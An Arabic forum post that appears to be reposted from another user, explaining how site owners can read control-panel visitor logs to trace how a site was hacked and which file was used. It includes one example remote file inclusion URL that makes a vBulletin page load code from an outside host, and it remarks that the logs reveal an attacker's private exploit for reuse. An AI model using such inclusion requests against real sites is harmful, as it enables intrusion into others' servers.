طريقة لمعرفة كيف تم اختراق موقعك

SH3A3-Q

ابو الميرزا
طاقم الإدارة
إنضم
14 نوفمبر 2007
المشاركات
53,509
النقاط
113
العمر
49
الإقامة
القطيف
النهارده انا جايب ليكوا طريقة كويسة فى معرفة كيف تم
اختراق موقعك وما هى الثغرة والملفات المصابة :nosweat:
بالأول شفت موقعك أو منتداك مخترق طلعت غضبان و تقول هاذي

خيانة أو ثغرة بموقعي أو جهازي مخترق أو ......

وصاير تتصل بالدعم الفني بالميسنجر أو الهاتف أو أو أو.....
5GL_015.gif

أقلك اهدأ الأمر ليس بالسهل و لكن تذكر أن أقوى المواقع تعرضت للاختراق

بالأول أريد أن أشير لأن معضم الاختراقات تكون عن طريق السيرفر

و ليس لموقعك أي ثغرة وبخاصة السيرفرات العربية مهما ظهر لكـ أن السيرفر محمي

بالتالي تلاحظ أن منتداك خالي من الثغرات الا في حال اضافة سكريبتات

كثيرة و مخربطة بالموقع هنا ممكن تشك في موقعك

اذا قدر الله و صادفت موقعك مخترق حاول أو شي مسح ملف الاختراق و تغيير تصاريح

الملفات من زفت 777 على الأقل في الوقت الحالي.

ثانيا تفضل بالتعرف على من و كيف تم اختراقك من لوحة تحكم موقعك



قم بالاختيار كما هو موضح بالصورة


1.png


ثم اضغط هنا


2.png


و بعدها تطلع لنا قائمة بأخر أي بيهات زوار موقعك


6.gif




1/ أي بي الزائر أو المخترق و هاذا بالشرح أنا
biggrin.gif

2/ الملفات التي زارها بموقعك أو منتداك
3/ التاريخ و الوقت بالتحديد الذي زار فيه الملف المذكور آنفآ
4/ المتصفح المستعمل من قبل الزائر


و الأن فرضا أن شخص ما حاول اختراق الموقع بثغرة فايل أنكلود القديمة مثلا دخل هنا

رمز PHP:
http://xp-dz.net/sql/kenozsat/vb/index.php?is=http://maxi32.org/s.txt?


رمز PHP:
[CENTER][/CENTER]



ندخل لوحة التحكم مثلما شرحنا و النتيجة كما في الصورة

4.png


و الطريقة تساعدك في معرفة مكان الثغرة و ترقيعها

كما يعرفك على ثغرة المخترق اذا كانت برايفت و تطبيقها
biggrin.gif


للعلم الموضوع منقول من الاخ Maxi32



 
عودة
أعلى أسفل